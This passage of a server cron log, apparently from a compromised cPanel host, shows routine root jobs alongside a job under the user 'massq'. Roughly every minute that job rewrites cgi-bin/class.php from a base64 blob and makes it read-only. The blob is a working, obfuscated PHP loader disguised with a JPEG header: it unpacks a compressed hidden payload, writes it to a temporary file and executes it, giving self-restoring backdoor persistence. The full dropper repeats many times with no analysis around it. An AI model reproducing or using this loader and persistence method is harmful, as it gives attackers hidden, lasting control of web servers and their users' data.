JRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:50:01 server CROND[14310]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 08:50:01 server CROND[14312]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 08:50:01 server CROND[14313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 08:50:01 server CROND[14314]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 08:50:01 server CROND[14315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:51:01 server CROND[14423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:52:01 server CROND[14488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:53:01 server CROND[14640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:54:01 server CROND[14711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:55:01 server CROND[14779]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 08:55:01 server CROND[14781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:55:01 server CROND[14780]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 08:56:01 server CROND[14895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:57:01 server CROND[15001]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 08:57:01 server CROND[15000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:58:01 server CROND[15187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:59:01 server CROND[15312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:00:01 server CROND[15402]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 09:00:01 server CROND[15403]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 09:00:01 server CROND[15404]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Apr  9 09:00:01 server CROND[15405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 09:00:01 server CROND[15406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:01:01 server CROND[15544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:01:01 server CROND[15545]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 09:01:01 server run-parts(/etc/cron.hourly)[15545]: starting 0anacron
Apr  9 09:01:01 server run-parts(/etc/cron.hourly)[15557]: finished 0anacron
Apr  9 09:02:01 server CROND[15618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:03:01 server CROND[15830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 